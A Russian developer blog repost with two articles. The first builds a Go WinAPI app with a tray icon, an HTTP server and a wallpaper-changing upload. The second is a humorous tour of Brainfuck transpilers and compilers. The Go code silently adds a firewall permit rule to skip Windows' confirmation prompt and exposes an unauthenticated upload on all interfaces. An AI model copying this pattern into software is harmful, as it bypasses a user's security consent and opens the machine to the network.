взять одну из готовых библиотек, тем более что есть универсальные — сразу для Windows, MacOS и Linux и всей кучи разных сред окружения.

Но фана ради и пользы обучения для, был избран более сложный путь — закат солнца вручную взаимодействие с системным треем только через WinAPI.

Все функции, относящиеся к этой задаче находятся в пакете systray:

import (
..
systray "github.com/alex0x08/ungoogled-go/systray"
..
)

Место с которого начинается инициализация системного трея выглядит вот так:

// creates systray icon
func CreateSysTray() *TrayIcon {
// first, create hidden message-only window
hwnd, err := createMessageWindow()
if err != nil {
panic(err)
}
// create systray with parent = our message-only window
ti, err := newTrayIcon(hwnd)
if err != nil {
panic(err)
}
return ti
}

Как видите тут не используется родительское окно — вместо него создается специальное скрытое окно, только для приема сообщений:

func createMessageWindow() (uintptr, error) {
hInstance, err := GetModuleHandle(nil)
if err != nil {
return 0, err
}

wndClass := windows.StringToUTF16Ptr("MyWindow")

var wcex WNDCLASSEX

wcex.CbSize = uint32(unsafe.Sizeof(wcex))
wcex.LpfnWndProc = windows.NewCallback(wndProc)
wcex.HInstance = hInstance
wcex.LpszClassName = wndClass
if _, err := RegisterClassEx(&wcex); err != nil {
return 0, err
}

hwnd, err := CreateWindowEx(
0,
wndClass,
windows.StringToUTF16Ptr(""),
WS_OVERLAPPED,
CW_USEDEFAULT,
CW_USEDEFAULT,
400,
300,
uintptr(HWND_MESSAGE),
0,
hInstance,
nil)
if err != nil {
return 0, err
}
return hwnd, nil
}

Ключевое тут — вызов функции WinAPI CreateWindowEx, c указанием специального флага HWND_MESSAGE:

hwnd, err := CreateWindowEx(
..
uintptr(HWND_MESSAGE)
..
)

Благодаря этому флагу можно создать невидимое окно и заставить его обработчик принимать сообщения системного трея:

// this is main window function
// see https://learn.microsoft.com/en-us/windows/win32/api/winuser/...
func wndProc(hWnd uintptr, msg uint32, wParam, lParam uintptr) uintptr {
switch msg {
case TrayIconMsg:
nmsg := LOWORD(uint32(lParam))
// if user clicked on tray icon
if nmsg == WM_LBUTTONDOWN {
// if callback function exist
if trayClickCallback != nil {
trayClickCallback()
}
}
case WM_DESTROY:
PostQuitMessage(0)
default:
r, _ := DefWindowProc(hWnd, msg, wParam, lParam)
return r
}
return 0
}

Да, это все тот же старый добрый WndProc , описанный выше в статье и хорошо знакомый любым Windows-разработчикам.

Блок внутри:

..
case TrayIconMsg:
nmsg := LOWORD(uint32(lParam))
// if user clicked on tray icon
if nmsg == WM_LBUTTONDOWN {
// if callback function exist
if trayClickCallback != nil {
trayClickCallback()
}
}
..

Отвечает за обработку сообщений системного трея.

Функция, которая отрабатывает по событию клика левой кнопки мыши (WM_LBUTTONDOWN) выглядит вот так:

systray.SetTrayClickHandler(func() {
systray.ShowWindow(uintptr(mainWindow.wnd.Hwnd())
, systray.SW_SHOWNORMAL)
})

А systray.ShowWindow() это фактически обретка над чистым WinAPI:

func ShowWindow(hWnd uintptr, nCmdShow int32) (int32, error) {
r, _, err := procShowWindow.Call(hWnd, uintptr(nCmdShow))
if r == 0 {
return 0, err
}
return int32(r), nil
}

Поскольку procShowWindow — чистый definition для фукнции WinAPI ShowWindow:

..
libuser32 = windows.NewLazySystemDLL("user32.dll")
..
procShowWindow = libuser32.NewProc("ShowWindow")
..

Словом, уровень интеграции с WinAPI и легкости его применения поражает воображение.

Лог с интерфейсом

Лог с интерфейсом

Лог

Он же «журнал работы» — отображает события в приложении в центральной части рабочей области. Логика записи выглядит следующим образом:

// appends to UI log
func appendToLog(message string) {
// could be no window yet
if mainWindow == nil || mainWindow.txtName == nil {
fmt.Println(message)
return
}
// window could be not visible yet
// and attempt to add message will raise an exception
if !mainWindow.txtName.Hwnd().IsWindowVisible() {
fmt.Println(message)
return
}
// get current text
txt := mainWindow.txtName.Text()
// to avoid overflow
if len(txt) > 512 {
txt = ""
}
b := strings.Builder{}
b.WriteString(txt) // append existing text
b.WriteString(message) // append new message
b.WriteString("\r\n") // this is Windows, so \r\n, not \n !
// and finally set updated text (yep, there is no append, sorry)
mainWindow.txtName.SetText(b.String())
}

Кроме достаточно очевидного пропуска записи в случае неполной инициализации, тут есть еще вот такая логика:

if !mainWindow.txtName.Hwnd().IsWindowVisible() { fmt.Println(message) return }

Нужно это потому, что CEdit не даст изменить текст внутри если сам компонент еще не отображается, а попытка вызова метода API изменения текста вызовет ошибку.

Также внезапно (хотя для кого как) оказалось что стандартный компонент Windows для ввода не поддерживает логику добавления (append) — только полную замену всего текстового блока:

// get current text
txt := mainWindow.txtName.Text()
// to avoid overflow
if len(txt) > 512 {
txt = ""
}
b := strings.Builder{}
b.WriteString(txt) // append existing text
b.WriteString(message) // append new message
b.WriteString("\r\n") // this is Windows, so \r\n, not \n !
// and finally set updated text (yep, there is no append, sorry)
mainWindow.txtName.SetText(b.String())

Поэтому с точки зрения современной разработки это выглядит как колхоз, но увы — таковы реалии WinAPI.

Встроенный HTTP-сервер

В составе Golang идет готовый встраиваемый HTTP-сервер (пакет «net/http»), с примитивами обработчиков для типовых действий.

С его помощью удалось минимальными силами реализовать весь тестовый функционал, метод инициализации и запуска встроенного HTTP-сервера выглядит вот так:

// starts HTTP server
func startServer() {
appendToLog(fmt.Sprintf("Starting, debug mode: %s", DebugMode))

// firewall bypass does not work correctly in debug mode
if DebugMode == "false" {
server.AddAppFirewallRule()
appendToLog("Added firewall rule..")
}
// create request multiplexer, see https://pkg.go.dev/net/http#ServeMux
mux := http.NewServeMux()
// test assembler method
mux.HandleFunc("/asmtest", server.TestAsmMethod)
// upload & set wallpaper image
mux.HandleFunc("/upload", server.UploadHandler)
// default handler
mux.HandleFunc("/", server.IndexHandler)

// if this is production mode - bind to all interfaces
if DebugMode == "false" {
httpSrv = &http.Server{
Addr: ":8090",
Handler: mux,
}
} else {
// otherwise - bind to localhost (firewall bypass
// does not work in debug mode)
httpSrv = &http.Server{
Addr: "localhost:8090",
Handler: mux,
}
}

appendToLog(fmt.Sprintf("Server started at %s", httpSrv.Addr))
// set logging handler
server.SetMessageLogHandler(appendToLog)
httpSrv.ListenAndServe() // here will be lock
}

Разберем что тут происходит, первым шагом идет запись в лог:

appendToLog(fmt.Sprintf("Starting, debug mode: %s", DebugMode))

Затем попытка отключить NAG-screen файрвола:

// firewall bypass does not work correctly in debug mode
if DebugMode == "false" {
server.AddAppFirewallRule()
appendToLog("Added firewall rule..")
}

Как это работает подробно разобрано ниже, пока замечу что этот обход не работает в режиме отладки, поэтому тут и стоит такая странная на первый взгляд проверка.

Следующим шагом происходит инстанциация мультиплексора запросов:

// create request multiplexer, see https://pkg.go.dev/net/http#ServeMux
mux := http.NewServeMux()

И связывание методов обработки с контекстом URL:

// test assembler method
mux.HandleFunc("/asmtest", server.TestAsmMethod)
// upload & set wallpaper image
mux.HandleFunc("/upload", server.UploadHandler)
// default handler
mux.HandleFunc("/", server.IndexHandler)

Т.е. по какой ссылке будет отвечать каждый обработчик.

Логика всех обработчиков разобрана чуть ниже, а пока пройдем дальше по логике инициализации HTTP-сервера:

// if this is production mode - bind to all interfaces
if DebugMode == "false" {
httpSrv = &http.Server{
Addr: ":8090",
Handler: mux,
}
} else {
// otherwise - bind to localhost (firewall bypass
// does not work in debug mode)
httpSrv = &http.Server{
Addr: "localhost:8090",
Handler: mux,
}
}

Вся эта простыня нужна по той простой причине что в Golang нет тернаров, т.е нельзя сделать логику одной строкой вроде:

Addr = DebugMode? "localhost:8090" : ":8090"

Как это было бы в Java или Typescript.

Поэтому надо было либо делать отдельную функцию, отдающую адрес, внутри которой вставлять проверку на DebugMode, либо сделать как на примере выше — два повторяющихся блока.

Дальше по логике происходит установка обработчика логирования:

// set logging handler
server.SetMessageLogHandler(appendToLog)

Со стороны пакета сервера он вызвается вот так:

// logs message with callback on UI
func logMessage(message string) {
if messageLogCallback != nil {
messageLogCallback(message)
} else {
fmt.Println(message)
}
}

А вот так выглядит пример конечного использования:

logMessage(fmt.Sprintf("Background changed to %s", dst.Name()))

Наконец последним шагом происходит запуск самого HTTP-сервера:

httpSrv.ListenAndServe() // here will be lock

Обратите внимание что httpSrv объявлен как глобальная переменная:

var (
tray *systray.TrayIcon
httpSrv *http.Server
mainWindow *MyWindow
//You can only set string variables with -X linker flag. From the docs:
DebugMode = "true"
)

Это нужно чтобы иметь возможность остановить HTTP-сервер при завершении работы (graceful shutdown):

if httpSrv != nil {
if err := httpSrv.Close(); err != nil {
fmt.Printf("HTTP close error: %v", err)
}
}

Обход файрвола

И не надо так подозрительно смотреть — речь про вполне себе документированное API, позволяющее пропустить вот такое откровенно дурацкое подтверждение:

Был добавлен еще в Windows 7 с официальной целью: выбешивать пользователей.

Был добавлен еще в Windows 7 с официальной целью: выбешивать пользователей.

Как и в случае с интерфейсом, было принято волевое решение использовать готовый пакет с биндингами:

This is a package for controlling the Windows Filtering Platform (WFP), also known as the Windows firewall.

С его помощью вся логика свелась к вот такой простой функции, взятой из issue в Github проекта и немного переделанной:

// adds firewall rule via WinAPI to bypass confirmation screen
func AddAppFirewallRule() error {
session, err := wf.New(&wf.Options{
Name: "ungoogled session",
Dynamic: false,
})
if err != nil {
return err
}
defer session.Close()
guid, _ := windows.GenerateGUID()
execPath, _ := os.Executable()
appID, _ := wf.AppID(execPath)
err = session.AddRule(&wf.Rule{
ID: wf.RuleID(guid),
Name: "Ungoogled",
Layer: wf.LayerALEAuthRecvAcceptV4,
Weight: 800,
Conditions: []*wf.Match{
{
Field: wf.FieldALEAppID,
Op: wf.MatchTypeEqual,
Value: appID,
},
},
Action: wf.ActionPermit,
})

if err != nil {
return err
}
return nil
}

Не буду детально расписывать эту довольно сложно воспринимаемую логику — слишком уж тут много специфики WFP, читать устанете.

Если есть желание погрузиться в тему — вам в помощь вот такая замечательная статья от авторов пакета, где расписано в деталях внутренее устройство WFP и работа с его API.

Но если в кратце — тут происходит создание и применение нового правила фильтрации, которое разрешает входящие соединения для приложения, из которого выполняется вызов API.

Golang и ассемблер

Чтобы сразу закрыть все вопросы по поводу адекватности использования ассемблера из Go, вот вам небольшая цитата:

This example is taken from the AES package of the standard Go library. It makes use of Go Assembly to leverage Intel’s hardware support for AES, calling the AES-NI CPU instructions that can perform a “round” of encryption or decryption of the AES algorithm.

Да, как только начинается большая криптография и множественные вычисления на слабом железе — сразу с дальней полки достается пыльная книга по ассемблеру.

Разумеется не было открытием что язык, с самого своего начала имевший компилятор в нативный код умеет вызывать вставки на ассемблере. Открытием была легкость и простота с которой это делается.

Не задумывались почему маскоты Go и Plan 9 так похожи?

Не задумывались почему маскоты Go и Plan 9 так похожи?

Еще одним открытием оказались торчащие уши Plan 9:

The assembler is based on the input style of the Plan 9 assemblers, which is documented in detail elsewhere. If you plan to write assembly language, you should read that document although much of it is Plan 9-specific

А разгадка проста — один из авторов Go когда‑то работал над Plan 9:

Robert Pike (born 1956) is a Canadian programmer and author. He is best known for his work on the Go programming language while working at Google[1][2] and the Plan 9 operating system while working at Bell Labs, where he was a member of the Unix team.[1]

Но продолжим тему с ассемблером.

Вообщем чтобы не заморачиваться с созданием и линковкой ассемблерных вставок вручную, я использовал фреймворк Avo:

avo makes high-performance Go assembly easier to write, review and maintain.

Самое важное что он дает:

  • Use Go control structures for assembly generation; avo programs are Go programs

И выглядит это именно так как звучит:

//go:build ignore

package main

import . "github.com/mmcloughlin/avo/build"

func main() {
TEXT("Add", NOSPLIT, "func(x, y uint64) uint64")
Doc("Add adds x and y.")
x := Load(Param("x"), GP64())
y := Load(Param("y"), GP64())
ADDQ(x, y)
Store(y, ReturnIndex(0))
RET()
Generate()
}

Это отдельная программа на Go, которая при запуске генерирует ассемблерный код в файле asm/add.s:

// Code generated by command: go run asm.go -out asmtest/add.s -stubs asmtest/stub.go. DO NOT EDIT.

#include "textflag.h"

// func Add(x uint64, y uint64) uint64
TEXT ·Add(SB), NOSPLIT, $0-24
MOVQ x+0(FP), AX
MOVQ y+8(FP), CX
ADDQ AX, CX
MOVQ CX, ret+16(FP)
RET

А также заголовочный файл на Go в файле stub.go:

// Code generated by command: go run asm.go -out asmtest/add.s -stubs asmtest/stub.go. DO NOT EDIT.
package ungoogled
// Add adds x and y.
func Add(x uint64, y uint64) uint64

Затем данные файлы линкуются с основным приложением, а вызов метода с ассемблерной вставкой выглядит вот так:

// a test API method to call function with Assembler inside
func TestAsmMethod(w http.ResponseWriter, req *http.Request) {

query := req.URL.Query()
fmt.Println("GET params were:", query)

param1, param2 := query.Get("param1"), query.Get("param2")

int1, _ := strconv.ParseUint(param1, 10, 64)
int2, _ := strconv.ParseUint(param2, 10, 64)
fmt.Fprintf(w, "int1: %v int2: %v \n", int1, int2)

// yep, check stub.go in asmtest
out := ungoogled.Add(int1, int2)

fmt.Fprintf(w, "result: %v \n", out)
logMessage(
fmt.Sprintf("Called asm method with params: %v , %v and result: %v",
int1, int2, out))
}

Лепота и благодать, другими словами.

Так работает смена обоев через загрузку картинки

Так работает смена обоев через загрузку картинки

Смена обоев через WinAPI и загрузку файлов

Просто для демонстрации возможностей, к достаточно стандартному функционалу по загрузке файлов был приделан вызов WinAPI функции для смены обоев на рабочем столе.

Сама форма загрузки выглядит максимально стандартно:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport"
content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>Upload an image</title>
</head>
<body>
<form
enctype="multipart/form-data"
action="/upload"
method="post">
<input type="file" name="imageFile" accept="image/*" />
<input type="submit" value="upload" />
</form>
</body>
</html>

Затем она зашивается в приложение с помощью go:embed:

//go:embed upload.html
var uploadTemplate string

Т.е. во время запуска приложения, переменная uploadTemplate будет содержать HTML-шаблон выше для загрузки картинки — зашивание происходит во время сборки.

За загрузку картинки отвечает функция:

func uploadFile(w http.ResponseWriter, r *http.Request) { .. }

Внутри стандартная скучная логика разборки multipart-формы и обработки загруженного файла - ее нет смысла описывать, зато дальше происходит кое-что интересное:

// build full path to image
imagePath, err := windows.UTF16PtrFromString(dst.Name())

Тут происходит формирование ссылки на UTF-16 строку, содержающую полный путь к загруженному файлу.

Затем эта ссылка используется для вызова API:

// call WinAPI to change wallpaper to just uploaded image
_, _, err = procSystemParamInfo.Call(20, 0,
uintptr(unsafe.Pointer(imagePath)), 0x001A)
// check for errors, respond 500 if any
if err, ok := err.(syscall.Errno); ok {
if err != 0 {
fmt.Println("Error :")
fmt.Println(err)
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
}

Вызывается функция SystemParametersInfoW, которая на самом деле используется для очень большого количества разных действий:

Retrieves or sets the value of one of the system-wide parameters. This function can also update the user profile while setting a parameter.

Нужный нам для смены обоев actionName называется SPI_SETDESKWALLPAPER который и указывается при вызове.

Эпилог

Разумеется я такой не один и уже достаточно много разработчиков по всему миру делятся своим опытом разработки на Go и WinAPI. Надеюсь эта статья также добавит читателям восторгов и позволит взглянуть на любимый инструмент под другим углом.

Статья была опубликована на Хабре, оригинал которой доступен в нашем блоге.

Показать полностью 16

Профессиональная разработка.. на Brainfuck

Серия Жестокие эксперименты

Хотите довести до дурки любимого преподавателя компьютерных наук или навсегда прослыть «особенным» среди коллег, сразу после немедленного увольнения?

Ниже патентованный метод, с которым вас точно не забудут.

Вы наблюдаете самый настоящий <a href="https://pikabu.ru/story/professionalnaya_razrabotka_na_brainfuck_14128508?u=https%3A%2F%2Fru.wikipedia.org%2Fwiki%2F%25D0%25AF%25D1%2589%25D0%25B8%25D0%25BA_%25D0%259F%25D0%25B0%25D0%25BD%25D0%25B4%25D0%25BE%25D1%2580%25D1%258B&t=%D1%8F%D1%89%D0%B8%D0%BA%20%D0%9F%D0%B0%D0%BD%D0%B4%D0%BE%D1%80%D1%8B&h=3431fb408d61aabe300f9c11c1471e5342538efd" title="https://ru.wikipedia.org/wiki/%D0%AF%D1%89%D0%B8%D0%BA_%D0%9F%D0%B0%D0%BD%D0%B4%D0%BE%D1%80%D1%8B" target="_blank" rel="nofollow noopener">ящик Пандоры</a>, который автор для вас любезно приоткрыл.

Вы наблюдаете самый настоящий ящик Пандоры, который автор для вас любезно приоткрыл.

Электронная дичь

Ладно, допустим вы не имеете отношения к ИТ или не занимаетесь непосредственно разработкой ПО. Возможно вы начинающий веб‑разработчик, умеющий только в лендинги и сайты‑визитки — словом вы никогда прежде не слышали об экзотерических языках программирования и их ярчайшем представителе:

Brainfuck — один из эзотерических языков программирования, придуман Урбаном Мюллером (нем. Urban Müller) в 1993 году, известен своим минимализмом. Название языка можно перевести на русский как вынос мозга, оно напрямую образовано от английского выражения brainfuck (brain — мозг, fuckвынос), т. е. заниматься ерундой. Язык имеет восемь команд, каждая из которых записывается одним символом. Исходный код программы на Brainfuck представляет собой последовательность этих символов без какого-либо дополнительного синтаксиса.

Понимаю, тяжело воспринять фразу «экстремальный минимализм» по отношению к языку программирования, поэтому вот вам небольшая иллюстрация:

>+++++++++[<++++++++>-]<.>+++++++[<++++>-]<+.+++++++..+++.>>>++++++++[<++++>-] <.>>>++++++++++[<+++++++++>-]<---.<<<<.+++.------.--------.>>+.>++++++++++.

Да это исходный код программы.

Ну и заодно запредельный треш и ужас, созданный специально для выноса мозга программистам, с чего и получил такое поэтическое название.

Разбираем по шагам:

>++.

в ячейке 1 добавление 2 к 70 и вывод на печать ASCII-кода 72, т.е. буквы «Н».

>+.

в ячейке 2 добавление 1 к 100 = 101, печать буквы «e»

+++++++..

в этой же ячейке добавление 7 к 101 = 108, печать «l» дважды

+++.

в этой же ячейке добавление 3 к 108 = 111, печать «o»

И так далее и тому подобное:

Brainfuck почти не используется для практического программирования (за исключением работ отдельных энтузиастов), а используется преимущественно для головоломок и задач для соревнований.

Теперь, если вы занимаетесь разработкой и более‑менее подкованы в программировании — вернитесь обратно к картинке выше и задумайтесь: что именно автор тут для вас приготовил:)

Транспилеры и компиляторы

Минутка матчасти, прежде чем мы с вами погрузимся в бездну бесконечного ужаса разработки, для лучшего хоть какого-то понимания этой сложной темы.

Начнем с транспилера:

A source-to-source translator, source-to-source compiler (S2S compiler), transcompiler, or transpiler is a type of translator that takes the source code of a program written in a programming language as its input and produces an equivalent source code in the same or a different programming language. A source-to-source translator converts between programming languages that operate at approximately the same level of abstraction, while a traditional compiler translates from a higher level programming language to a lower level programming language.

Максимально упрощая, транспилер — такой специальный компилятор, для превращения исходного кода на одном языке в исходный код на другом языке.

Очень часто используется на практике, в том числе в современных и сверхпопулярных языках вроде Java или.NET.

Чаще всего такую технику применяют для выдачи «желаемого за действительное», например с помощью транспилера реализованы ваши любимые генерики и замыкания в Java.

Теперь про интерпретатор:

In computer science, an interpreter is a computer program that directly executes instructions written in a programming or scripting language, without requiring them previously to have been compiled into a machine language program.

По‑сути это такой «разнорабочий от мира ПО», который сам ничего не умеет, зато отлично выполняет простые последовательные команды.

И наконец «его величество» компилятор:

In computing, a compiler is a computer program that translates computer code written in one programming language (the source language) into another language (the target language). The name «compiler» is primarily used for programs that translate source code from a high-level programming language to a low-level programming language (e.g. assembly language, object code, or machine code) to create an executable program.[1][2]

Да это «та самая программа с помощью которой создаются другие программы», в изначальном смысле этого слова.

Практически любой компилятор — очень сложная программа, даже использование которой требует определенной подготовки. Ну а задача создания компилятора с нуля — предмет для изучения в высших технических заведениях и удел исключительно опытных профессионалов.

В теории.

Теперь совместите в воображении безумный эзотерический язык программирования и связку из транспилера и компилятора.

Именно эту дичь мы сейчас и будем творить.

Но все же объясню чуть подробнее, для обывателей:

программировать на самом Brainfuck безумно тяжело и ничего сложнее «Hello, World» у вас не выйдет пока вы не рехнетесь, но если использовать транспилер, — становится возможно писать код уже на С (или С‑подобном языке) и гораздо более интересные вещи.

Например можно взять домашнее задание по числам Фибоначчи:

include "std.bfx"

function main()
{
prints("f[0] = ");
let a = scand();

prints("f[1] = ");
let b = scand();

prints("Up to n = ");
let n = scand();

prints("0: "); printd(a); endl();
for (let i = 0; i != n - 1; ++i)
{
printd(i + 1); prints(": ");
printd(b); endl();

let tmp = b;
b += a;
a = tmp;
}

printd(n); prints(": ");
printd(b); endl();
}

И сдать его в таком интересном виде (фрагмент):

>>>[-]++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>[-]++++++++++++++++++++++++++++++++++++++++++++++++.>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>[-]++++++++++++++++++++++++++++++++.>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>[-]++++++++++++++++++++++++++++++++.<<<[-]+>>[-]>[-]>[-]+>[-]+>[-]+>[-]>[-]>[-]+>[-]+>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>>>[>>>>>[-]>>[-]>[-]<<<<<[>>>>+>+<<<<<-]>>>>>[<<<<<+>>>>>-]<<[-]>>>[-]<<<<<[>>+>>>+<<<<<-]>>>>>[<<<<<+>>>>>-]<<<[>[<<[-]+>>[-]]<[-]]>>>>[-]>[-]<<<<<<[>>>>>+>+<<<<<<-]>>>>>>[<<<<<<+>>>>>>-]>[-]+>[-]>[-]<<<<[>>>+>+<<<<-]>>>>[<<<<+>>>>-]<[<[-]>[-]]<<<[>>>>>[-]>>[-]>[-]<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>-]<<[-]>>>[-]<<<<<<<<<<<<<<<[>>>>>>>>>>>>+>>>+<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>-]<<<[>[<<[-]+>>[-]]<[-]]>>>>[-]>[-]<<<<<<[>>>>>+>+<<<<<<-]>>>>>>[<<<<<<+>>>>>>-]>[-]+>[-]>[-]<<<<[>>>+>+<<<<-]>>>>[<<<<+>>>>-]<[<[-]>[-]]<<<[>>>>>[-]+>[-]+>[-]>>[-]>[-]<<<<<[>>>>+>+<<<<<-]>>>>>[<<<<<+>>>>>-]<<[-]>>>[-]<<<<<[>>+>>>+<<<<<-]>>>>>[<<<<<+>>>>>-]<<<[>[<<[-]+>>[-]]<[-]]>>>>[-]>[-]<<<<<<[>>>>>+>+<<<<<<-]>>>>>>[<<<<<<+>>>>>>-]>[-]+>[-]>[-]<<<<[>>>+>+<<<<-]>>>>[<<<<+>>>>-]<[<[-]>[-]]<<<[>>>>>,>[-]>[-]<<[>+>+<<-]>>[<<+>>-]<<<<<<<[-]]>>[[-]]<<<<<<<<<[-]>[-]>>>>>>>>>>>>[<<<<<<<<<<<<<+>+>>>>>>>>>>>>-]<<<<<<<<<<<<[>>>>>>>>>>>>+<<<<<<<<<<<<-]<<<<<<[-]]>>[[-]]>>>>>[-]>>[-]>[-]<<<

Полный вариант занимает ~1.6Mb одной строкой, представляте как обрадуется любимый преподаватель такой оригинальной работе?

Главное чтобы вас потом не нашли.

Теперь перейдем к инструментарию для наших веселых шалостей.

Гримуар

Поскольку программисты по большей части ребята веселые, оказалось что для языка Brainfuck реализовано очень много всего интересного. Ниже будет небольшой обзор самых отбитых инструментов, которые мы будем использовать во имя Луны для создания тестового проекта.

Bfpy

Автор этого замечательного проекта объявил личный джихад здравому смыслу:

BFPY is an alternative Python runtime that uses Brainfuck as a bytecode.

Для тех кто еще не оценил всю мощь по одной цитате выше, приведу небольшой пример кода:

#!/usr/bin/env python3.4
# coding: utf-8

from bfpy.instruction import Instruction
from bfpy.bytecode import Bytecode
from bfpy.machine import Machine

def test(x,y):
return x + y

def main():
bc = Bytecode.from_function(test, x=40,y=2) #42
print(bc)
vm = Machine(bc)
vm.run()
print(vm.current)

if __name__ == '__main__':
main()

Вот так это чудо выглядит в работе:

Что такое 42? Это результат выполнения кода Brainfuck, созданного из байткода Python

Что такое 42? Это результат выполнения кода Brainfuck, созданного из байткода Python

Теперь немного разберем логику, для погружения в безумие лучшего понимания.

Вот эта замечательная строка генерирует код Brainfuck из байткода Python:

bc = Bytecode.from_function(test, x=40,y=2) #42

Что вы и видите на скриншоте выше, где сам вывод на печать делает данная инструкция:

print(bc)

Следующий блок интерпретирует код на Brainfuck и выводит на печать:

vm = Machine(bc)
vm.run()
print(vm.current)

Вся эта радость отлично встраивается например в Python‑скрипт работающий с нейросетями, тем самым добавляя новую грань смысла слову «blackbox», которым так любят прикрывать свои провалы ML‑разработчики.

К сожалению этот проект очень далек до завершения:

For instance, BFPY can only translate arithmetic operations (addition, subtraction, multiplication, floor division and power). There is still a lot of features to implement for it to be a proper Python runtime alternative

Поэтому если у вас есть лишний $1млн и ненависть к человечеству — можете проинвестировать в этот замечательный проект. Деньги пойдут автору на лечение в лучшей дурке.

Brainfix

Следующий проект зашел немного дальше в своем безумии, поэтому именно с его помощью мы с вами и сделаем тестовое приложение:

BrainFix is a compiler/language that takes a C-style language (although the syntax slowly evolved to something very close to Javascript for some reason) and compiles this into BrainF*ck, an esoteric programming language consisting of only 8 operations.

Забираем исходный код и пробуем собрать:

git clone https://github.com/jorenheit/brainfix
cd brainfix
make

К сожалению при сборке появится такая ошибка:

Чтобы ее исправить достаточно закомментировать это условие выбора в makefile:

ifeq ($(GAMING_MODE_AVAILABLE),1)

Нет, я тоже не догадываюсь для чего компилятору Brainfuck мог понадобиться игровой режим, но конечный результат должен быть таким:

CC=g++
CFLAGS= -c -O3 -Wall --std=c++2a -fmax-errors=2 #-Wfatal-errors
SOURCES=interpreter/bfint.cc interpreter/main.cc

OBJECTS=$(SOURCES:.cc=.o)
EXECUTABLE=bfint

all: $(SOURCES) $(EXECUTABLE)

#ifeq ($(GAMING_MODE_AVAILABLE),1)
#$(EXECUTABLE):$(OBJECTS)
# $(CC) $(OBJECTS) -o ../$@ -lncurses
#
#.cc.o:
# $(CC) $(CFLAGS) -DUSE_CURSES lt; -o $@
#
#else

$(EXECUTABLE):$(OBJECTS)
$(CC) $(OBJECTS) -o ../$@

.cc.o:
$(CC) $(CFLAGS) lt; -o $@
#endif

После правки сборка успешно завершается:

В результате сборки в корневом каталоге появится готовый бинарник bfx, запускаем и наслаждаемся:

Теперь пробуем собрать тестовый пример, с помощью вот такой простой и очевидной команды:

./bfx -o program.bf -O1 -I ./std -t int16 bfx_examples/hello.bfx

Результат:

Пример работы транспилера в код Brainfuck

Пример работы транспилера в код Brainfuck

Для проверки корректности, вставляем полученный код Brainfuck в онлайн-интерпретатор:

Чего только не бывает в интернете.

Чего только не бывает в интернете.

Там еще много интересных примеров, но большие программы будут ощутимо долго компилироваться в код на Brainfuck, имейте ввиду.

Но едем дальше.

BFC

Как лаконично описывает проект его автор: «an industrial‑grade Brainfuck compiler» и он при этом совсем не врет:

bfc includes an extensive range of optimisations. This page discusses the techniques used, and gives examples of BF programs that are transformed in each case.

Написана эта штука разумеется на Rust (неужели вы сомневались?) и сейчас мы будем ее пенетри.. ээ использовать.

Забираем исходники:

git clone https://github.com/Wilfred/bfc.git

Собирается это чудо сумрачного гения вот такой командой:

RUSTFLAGS='-L /usr/local/lib' cargo build --release

Поскольку дело происходит на FreeBSD (неужели я забыл об этом упомянуть?), с помощью переменной окружения RUSTFLAGS необходимо указать путь /usr/local/lib, который почему‑то не учитывается сборщиком cargo.

Также на машине должен быть сам Rust и 14я версия LLVM.

Зато теперь вы тоже знаете как использовать Rust на FreeBSD, надеюсь эти знания помогут вам построить успешную карьеру в ИТ-индустрии а не наставят на путь экстремального ИТ-терроризма.

В результате успешной сборки в каталоге ./target/debug появится готовый к использованию бинарник bfc:

Предупреждения компилятора, которые не решился исправлять даже автор

Предупреждения компилятора, которые не решился исправлять даже автор

Что же мы будем делать с оптимизирующим компилятором Brainfuck? Разумеется использовать для всего хорошего и замечательного:

./target/release/bfc /opt/work/tmp/brainfix/program.bf

Это тот самый пример с «Hello world!» сгенерированный выше из С‑подобного кода, который с помощью замечательного оптимизирующего компилятора превратился в настоящее приложение:

Только что собранное, нативное приложение на Brainfuck

Только что собранное, нативное приложение на Brainfuck

Итого

Повторим еще раз всю цепочку для лучшего запоминания:

Код на С‑подобном языке → транспилер Brainfix → компилятор Bfc → готовое приложение

В чем отличие от обычной разработки:

Вы спокойно сдаете в качестве лабы код на Brainfuck, который будет компилироваться в запускаемый бинарник и вполне себе подпадать под термин «исходный код».

Разумеется ваш любимый преподаватель будет в полном восторге, пытаясь в этом коде разобраться, в то время как вы никаких сложностей даже не увидите, поскольку настоящий код с читаемой логикой останется на уровне транспилера.

Правда весело?

Примерно из-за таких милых шалостей мои бывшие преподы до сих пор меня помнят мою фамилию.

Ну а если вас попросят написать тестовое задание, вставив в постановку фразу «на любом известном вам языке» — теперь вы знаете как и на чем его делать.

P.S.

Статья была опубликована на Хабре, более трешевый оригинал доступен в нашем блоге.

Само собой вся изложенная информация приведена исключительно в развлекательных целях, не стоит применять подобные технологии на практике в реальных проектах.

Показать полностью 9
40

WCC: Гримуар компьютерного колдуна

Серия Жестокие эксперименты

Рассказываю об одном весьма необычном инструменте, способном удивить даже очень изысканную публику. Поскольку с его помощью можно быстро и безболезненно.. сменить пол любимой программе для Linux. Добро пожаловать, снова.

